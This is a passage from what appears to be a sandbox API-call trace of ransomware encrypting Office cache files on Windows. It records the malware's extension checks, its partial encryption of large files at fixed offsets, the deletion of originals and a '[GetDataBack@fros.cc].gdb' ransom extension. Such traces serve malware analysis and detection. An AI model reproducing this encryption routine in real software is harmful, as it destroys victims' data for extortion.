(lpString=".ppt") returned 4 [0127.012] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0127.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0127.012] lstrlenW (lpString=".zip") returned 4 [0127.012] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0127.012] lstrlenW (lpString=".rar") returned 4 [0127.012] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0127.012] lstrlenW (lpString=".bz2") returned 4 [0127.012] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0127.012] lstrlenW (lpString=".7z") returned 3 [0127.012] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0127.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0127.012] lstrlenW (lpString=".dbf") returned 4 [0127.012] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0127.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0127.012] lstrlenW (lpString=".1cd") returned 4 [0127.012] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0127.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0127.012] lstrlenW (lpString=".jpg") returned 4 [0127.012] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0127.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0127.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0127.012] lstrlenW (lpString=".doc") returned 4 [0127.012] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0127.012] lstrlenW (lpString=".docx") returned 5 [0127.012] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0127.012] lstrlenW (lpString=".pdf") returned 4 [0127.012] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0127.013] lstrlenW (lpString=".xls") returned 4 [0127.013] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0127.013] lstrlenW (lpString=".xlsx") returned 5 [0127.013] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0127.013] lstrlenW (lpString=".ppt") returned 4 [0127.013] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0127.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0127.013] lstrlenW (lpString=".zip") returned 4 [0127.013] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0127.013] lstrlenW (lpString=".rar") returned 4 [0127.013] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0127.013] lstrlenW (lpString=".bz2") returned 4 [0127.013] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0127.013] lstrlenW (lpString=".7z") returned 3 [0127.013] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0127.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0127.013] lstrlenW (lpString=".dbf") returned 4 [0127.013] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0127.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0127.013] lstrlenW (lpString=".1cd") returned 4 [0127.013] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0127.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0127.013] lstrlenW (lpString=".jpg") returned 4 [0127.013] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0127.013] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0127.013] lstrlenW (lpString="osetupui.dll") returned 12 [0127.013] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0127.014] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=191872) returned 1 [0127.014] CloseHandle (hObject=0x1b0) returned 1 [0127.014] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0127.014] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.014] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0127.014] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0127.014] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0127.014] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0127.014] GetLastError () returned 0x0 [0127.015] ReadFile (in: hFile=0x1b0, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x2ed80, lpOverlapped=0x0) returned 1 [0127.390] WriteFile (in: hFile=0x1c0, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0x2ed90, lpOverlapped=0x0) returned 1 [0127.709] ReadFile (in: hFile=0x1b0, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0127.709] WriteFile (in: hFile=0x1c0, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xec, lpOverlapped=0x0) returned 1 [0127.709] SetEndOfFile (hFile=0x1c0) returned 1 [0127.709] CloseHandle (hObject=0x1c0) returned 1 [0127.709] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0127.709] SetEndOfFile (hFile=0x1b0) returned 1 [0127.711] CloseHandle (hObject=0x1b0) returned 1 [0127.711] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0127.712] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1 [0127.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0127.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0127.712] lstrlenW (lpString=".doc") returned 4 [0127.712] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0127.712] lstrlenW (lpString=".docx") returned 5 [0127.712] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0127.712] lstrlenW (lpString=".pdf") returned 4 [0127.712] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0127.712] lstrlenW (lpString=".xls") returned 4 [0127.712] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0127.712] lstrlenW (lpString=".xlsx") returned 5 [0127.712] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0127.712] lstrlenW (lpString=".ppt") returned 4 [0127.712] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0127.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0127.713] lstrlenW (lpString=".zip") returned 4 [0127.713] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0127.713] lstrlenW (lpString=".rar") returned 4 [0127.713] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0127.713] lstrlenW (lpString=".bz2") returned 4 [0127.713] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0127.713] lstrlenW (lpString=".7z") returned 3 [0127.713] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0127.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0127.713] lstrlenW (lpString=".dbf") returned 4 [0127.713] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0127.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0127.713] lstrlenW (lpString=".1cd") returned 4 [0127.713] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0127.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0127.713] lstrlenW (lpString=".jpg") returned 4 [0127.713] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0127.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0127.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0127.713] lstrlenW (lpString=".doc") returned 4 [0127.713] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0127.713] lstrlenW (lpString=".docx") returned 5 [0127.713] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0127.713] lstrlenW (lpString=".pdf") returned 4 [0127.713] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0127.713] lstrlenW (lpString=".xls") returned 4 [0127.713] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0127.713] lstrlenW (lpString=".xlsx") returned 5 [0127.713] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0127.713] lstrlenW (lpString=".ppt") returned 4 [0127.714] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0127.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0127.714] lstrlenW (lpString=".zip") returned 4 [0127.714] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0127.714] lstrlenW (lpString=".rar") returned 4 [0127.714] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0127.714] lstrlenW (lpString=".bz2") returned 4 [0127.714] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0127.714] lstrlenW (lpString=".7z") returned 3 [0127.714] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0127.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0127.714] lstrlenW (lpString=".dbf") returned 4 [0127.714] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0127.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0127.714] lstrlenW (lpString=".1cd") returned 4 [0127.714] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0127.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0127.714] lstrlenW (lpString=".jpg") returned 4 [0127.714] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0127.714] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0127.714] lstrlenW (lpString="Office32WW.msi") returned 14 [0127.714] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0127.715] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=1992192) returned 1 [0127.715] CloseHandle (hObject=0x1b0) returned 1 [0127.715] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0127.715] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.715] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0127.716] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0127.716] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0x0) returned 1 [0127.716] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0127.716] ReadFile (in: hFile=0x1b0, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0127.721] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0127.721] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0127.726] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.726] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0127.726] ReadFile (in: hFile=0x1b0, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0127.744] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0127.744] WriteFile (in: hFile=0x1b0, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x307fb58, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb58*=0xc0108, lpOverlapped=0x0) returned 1 [0127.984] SetEndOfFile (hFile=0x1b0) returned 1 [0127.997] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0127.997] WriteFile (in: hFile=0x1b0, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0127.998] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0127.998] WriteFile (in: hFile=0x1b0, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0128.001] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0128.001] WriteFile (in: hFile=0x1b0, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0128.180] CloseHandle (hObject=0x1b0) returned 1 [0128.181] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0128.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0128.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0128.181] lstrlenW (lpString=".doc") returned 4 [0128.181] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0128.181] lstrlenW (lpString=".docx") returned 5 [0128.181] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0128.181] lstrlenW (lpString=".pdf") returned 4 [0128.181] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0128.181] lstrlenW (lpString=".xls") returned 4 [0128.181] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0128.181] lstrlenW (lpString=".xlsx") returned 5 [0128.181] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0128.181] lstrlenW (lpString=".ppt") returned 4 [0128.181] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0128.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0128.182] lstrlenW (lpString=".zip") returned 4 [0128.182] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0128.182] lstrlenW (lpString=".rar") returned 4 [0128.182] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0128.182] lstrlenW (lpString=".bz2") returned 4 [0128.182] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0128.182] lstrlenW (lpString=".7z") returned 3 [0128.182] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0128.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0128.182] lstrlenW (lpString=".dbf") returned 4 [0128.182] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0128.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0128.182] lstrlenW (lpString=".1cd") returned 4 [0128.182] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0128.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0128.182] lstrlenW (lpString=".jpg") returned 4 [0128.182] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0128.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0128.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0128.182] lstrlenW (lpString=".doc") returned 4 [0128.182] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0128.182] lstrlenW (lpString=".docx") returned 5 [0128.182] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0128.182] lstrlenW (lpString=".pdf") returned 4 [0128.182] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0128.182] lstrlenW (lpString=".xls") returned 4 [0128.182] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0128.182] lstrlenW (lpString=".xlsx") returned 5 [0128.182] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0128.182] lstrlenW (lpString=".ppt") returned 4 [0128.182] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0128.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0128.183] lstrlenW (lpString=".zip") returned 4 [0128.183] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0128.183] lstrlenW (lpString=".rar") returned 4 [0128.183] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0128.183] lstrlenW (lpString=".bz2") returned 4 [0128.183] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0128.183] lstrlenW (lpString=".7z") returned 3 [0128.183] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0128.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0128.183] lstrlenW (lpString=".dbf") returned 4 [0128.183] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0128.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0128.183] lstrlenW (lpString=".1cd") returned 4 [0128.183] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0128.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0128.183] lstrlenW (lpString=".jpg") returned 4 [0128.183] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0128.183] lstrcmpiW (lpString1=".xrm-ms", lpString2=".gdb") returned 1 [0128.183] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0128.183] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0128.184] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=715834) returned 1 [0128.184] CloseHandle (hObject=0x1b0) returned 1 [0128.184] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0128.184] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0128.184] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0128.184] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0128.184] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0128.184] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0128.185] GetLastError () returned 0x0 [0128.185] ReadFile (in: hFile=0x1b0, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0xaec3a, lpOverlapped=0x0) returned 1 [0128.199] WriteFile (in: hFile=0x210, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xaec40, lpOverlapped=0x0) returned 1 [0128.213] ReadFile (in: hFile=0x1b0, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, 